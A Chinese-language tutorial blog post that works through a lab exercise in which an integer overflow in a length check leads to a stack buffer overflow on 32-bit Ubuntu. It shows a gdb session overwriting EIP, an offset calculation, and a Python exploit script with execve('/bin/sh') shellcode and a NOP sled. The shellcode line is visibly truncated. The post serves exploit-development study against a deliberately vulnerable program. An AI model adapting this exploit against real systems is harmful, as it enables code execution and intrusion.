Linux Exploit系列之二 整数溢出
整数溢出
虚拟机安装:Ubuntu 12.04(x86)
什么是整数溢出?
存储大于最大支持值的值称为整数溢出。整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代码执行。在这篇文章中,我将仅谈论整数溢出导致堆栈溢出,整数溢出导致堆溢出将在后面的单独的帖子中讨论。
后边的内容复制粘贴好烦,还是说关键点吧!
原文见:https://bbs.pediy.com/thread-216869.htm
这个文章解释的比上一个清楚多了,相信能看懂,唯一不懂的,和上一篇估计一样,还是地址计算的问题
同样是使用gdb 调试:gdb -q vuln
下边解释下我是如何找地址的(虚拟机环境Ubuntu14.04 32位系统,gcc 4.8.2)
首先使用disassemble 查看汇编代码,看看程序的汇编代码布局:
(gdb) disassemble validate_passwd
Dump of assembler code for function validate_passwd:
0x08048507 <+>: push %ebp
0x08048508 <+>: mov %esp,%ebp
0x0804850a <+>: sub $0x28,%esp
0x0804850d <+>: mov 0x8(%ebp),%eax
0x08048510 <+>: mov %eax,(%esp)
0x08048513 <+>: call 0x80483e0 <strlen@plt>
0x08048518 <+>: mov %al,-0x9(%ebp)
0x0804851b <+>: cmpb $0x3,-0x9(%ebp)
0x0804851f <+>: jbe 0x8048554 <validate_passwd+>
0x08048521 <+>: cmpb $0x8,-0x9(%ebp)
0x08048525 <+>: ja 0x8048554 <validate_passwd+>
0x08048527 <+>: movl $0x8048670,(%esp)
0x0804852e <+>: call 0x80483b0 <puts@plt>
0x08048533 <+>: mov 0x804a040,%eax
0x08048538 <+>: mov %eax,(%esp)
0x0804853b <+>: call 0x8048390 <fflush@plt>
0x08048540 <+>: mov 0x8(%ebp),%eax
0x08048543 <+>: mov %eax,0x4(%esp)
0x08048547 <+>: lea -0x14(%ebp),%eax
0x0804854a <+>: mov %eax,(%esp)
0x0804854d <+>: call 0x80483a0 <strcpy@plt>
嗯,发现编译器改动不大,就是将strlen函数直接内嵌了,没有使用函数调用(库函数的惯用做法),不多解释
(gdb) list 看一眼源码,方便下断点
(gdb) b validate_passwd 下断
然后开心的按照作者说的运行
下边是调试步骤
Reading symbols from vuln...done.
(gdb) b validate_passwd
Breakpoint at 0x804850d: file vuln.c, line .
(gdb) r sploitfun `python -c 'print "A"*261'`
Starting program: /home/jourluohua/work/test2/vuln sploitfun `python -c 'print "A"*261'` Breakpoint , validate_passwd (
passwd=0xbffff6b6 'A' <repeats times>...) at vuln.c:
unsigned char passwd_len = strlen(passwd); /* [1] */
(gdb) n //单步调试,想看看执行到了我们认为的关键的代码没有,很明显这儿还不是关键代码
if(passwd_len >= && passwd_len <= ) { /* [2] */
(gdb) n
printf("Valid Password\n"); /* [3] */
(gdb) p passwd_len //这儿是关键处了,但是如果是正确的话,passwd_len 应该是'A',很可能是程序还没真正执行到
$ = '\005'
(gdb) n
Valid Password
fflush(stdout);
(gdb) n
strcpy(passwd_buf,passwd); /* [4] */
(gdb) n
store_passwd_indb(passwd_buf); /* [6] */
(gdb) p passwd_len //好终于到了我们想要的地方了
$ = 'A'
(gdb) p &passwd_len //passwd_len的地址,既然利用的是栈,我们在乎的是内存布局
$ = (unsigned char *) 0xbffff46f 'A' <repeats times>...
(gdb) p buf //手误,没有任何原因
$ = 0x0
(gdb) n
}
(gdb) p passwd_buf //passwd_buf的值也对了
$ = 'A' <repeats times>
(gdb) p &passwd_buf[] //passwd_buf的地址也和我们想象的一样
$ = 0xbffff464 'A' <repeats times>...
(gdb) p/x $eip //很明显还没有被覆盖
$ = 0x8048578
(gdb) p/x $ebp //这个真的不是在凑字数,ebp的地址很重要
$ = 0xbffff478
(gdb) n
0x41414141 in ?? ()
(gdb) p/x $eip //好,已经覆盖了
$ = 0x41414141
(gdb) p/x $ebp
$ = 0x41414141
(gdb)
按照我上边的注释,相信大家对调试过程已经有了一定了解,现在说下地址的计算
$ebp - &passwd_buf[0] +4 = 0x18 = $eip - &passwd_buf[0]
这就是所谓的内存偏移,有了这个,我们的ret_addr就可以算出来了
ret_addr= 0xbffff464 +0x18 + 100
还是老规矩,附上我的exp.python 代码
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call arg1 = "sploitfun" #Stack address where shellcode is copied.
ret_addr = 0xbffff4e0 #Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$ #endianess convertion
def conv(num):
return struct.pack("<I",num)#unk + RA + NOP's + Shellcode
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "C" * 108 print "Calling vulnerable program"
call(["./vuln", arg1, arg2])
Linux Exploit系列之二 整数溢出的更多相关文章
- 深入理解 Linux Cgroup 系列(二):玩转 CPU
原文链接:深入理解 Linux Cgroup 系列(二):玩转 CPU 上篇文章主要介绍了 cgroup 的一些基本概念,包括其在 CentOS 系统中的默认设置和控制工具,并以 CPU 为例阐述 c ...
- CVE-2019-11477:Linux 内核中TCP协议栈整数溢出漏洞详细分析 代码卫士 今天
CVE-2019-11477:Linux 内核中TCP协议栈整数溢出漏洞详细分析 代码卫士 今天
- Linux (x86) Exploit 开发系列教程之二(整数溢出)
(1)漏洞代码 //vuln.c #include <stdio.h> #include <string.h> #include <stdlib.h> void s ...
- Linux Exploit系列之一 典型的基于堆栈的缓冲区溢出
Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出) Note:本文大部分来自于看雪hackyzh的中文翻译,加入了一些自己的理解 典型的基于堆栈的缓冲区溢出 虚拟机 ...
- Linux Exploit系列之七 绕过 ASLR -- 第二部分
原文地址:https://github.com/wizardforcel/sploitfun-linux-x86-exp-tut-zh/blob/master/7.md 这一节是简单暴力的一节,作者讲 ...
- Linux Exploit系列之六 绕过ASLR - 第一部分
绕过ASLR - 第一部分 什么是 ASLR? 地址空间布局随机化(ASLR)是随机化的利用缓解技术: 堆栈地址 堆地址 共享库地址 一旦上述地址被随机化,特别是当共享库地址被随机化时,我们采取的绕过 ...
- Linux Exploit系列之三 Off-By-One 漏洞 (基于栈)
Off-By-One 漏洞 (基于栈) 原文地址:https://bbs.pediy.com/thread-216954.htm 什么是off by one? 将源字符串复制到目标缓冲区可能会导致of ...
- Linux Exploit系列之四 使用return-to-libc绕过NX bit
使用return-to-libc绕过NX bit 原文地址:https://bbs.pediy.com/thread-216956.htm 这篇讲解的比较好,主要的问题是获得system地址和exit ...
- Linux Shell系列教程之(十二)Shell until循环
本文是Linux Shell系列教程的第(十二)篇,更多Linux Shell教程请看:Linux Shell系列教程 在上两篇文章Linux Shell系列教程之(十)Shell for循环和Lin ...
随机推荐
- ubuntu 18.04 64bit下如何源码编译安装anbox
1. 准备工作 1.1 安装gcc 7.x版本 sudo apt-get install gcc-7 -y 1.2 安装依赖的库及其工具 sudo apt install build-essentia ...
- Mysql密码忘记,修改密码方法
1.set password for ‘root’@’localhost’ = password(‘czllss’); -- czllss为新密码
- 阶段3 3.SpringMVC·_06.异常处理及拦截器_7 SpringMVC拦截器之拦截器接口方法演示
返回值改成false 就是不放行 没有方形,控制台只有一个输出 转发到error页面 新建error.jsp页面 控制台只有拦截器的输出.controller根本就没有执行 把代码改回来 重写第二个方 ...
- ASP.NET解决跨域问题
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.We ...
- 七十九:flask.Restful之flask-Restful蓝图与渲染模板
1.flask-Restful与蓝图结合使用如果要在蓝图中使用flask-Restful,那么在创建Api对象的时候,就不应该使用app,而是蓝图,如果有多个蓝图,则需在每一个蓝图里面创建一个Api对 ...
- nodejs 中间件理解
中间件概念 在NodeJS中,中间件主要是指封装所有Http请求细节处理的方法.一次Http请求通常包含很多工作,如记录日志.ip过滤.查询字符串.请求体解析.Cookie处理.权限验证.参数验证.异 ...
- [NodeJS] 优缺点及适用场景
概述: NodeJS宣称其目标是“旨在提供一种简单的构建可伸缩网络程序的方法”,那么它的出现是为了解决什么问题呢,它有什么优缺点以及它适用于什么场景呢? 本文就个人使用经验对这些问题进行探讨. 一. ...
- mingw32-gcc-9.2.1-i686-posix-sjlj-20190904-8ba5c53
gcc -v Using built-in specs. COLLECT_GCC=gcc COLLECT_LTO_WRAPPER=d:/msys/mingw32/bin/../libexec/gcc/ ...
- subprocess.call 使用
1.subprocess.call 里面的命令分开写,实例如下: subprocess.call 是不能作为赋值的,需要用到 subprocess.check_output 函数,而且如果要引用赋值就 ...
- C++类中的一些细节(重载、重写、覆盖、隐藏,构造函数、析构函数、拷贝构造函数、赋值函数在继承时的一些问题)
1 函数的重载.重写(重定义).函数覆盖及隐藏 其实函数重载与函数重写.函数覆盖和函数隐藏不是一个层面上的概念.前者是同一个类内,或者同一个函数作用域内,同名不同参数列表的函数之间的关系.而后三者是基 ...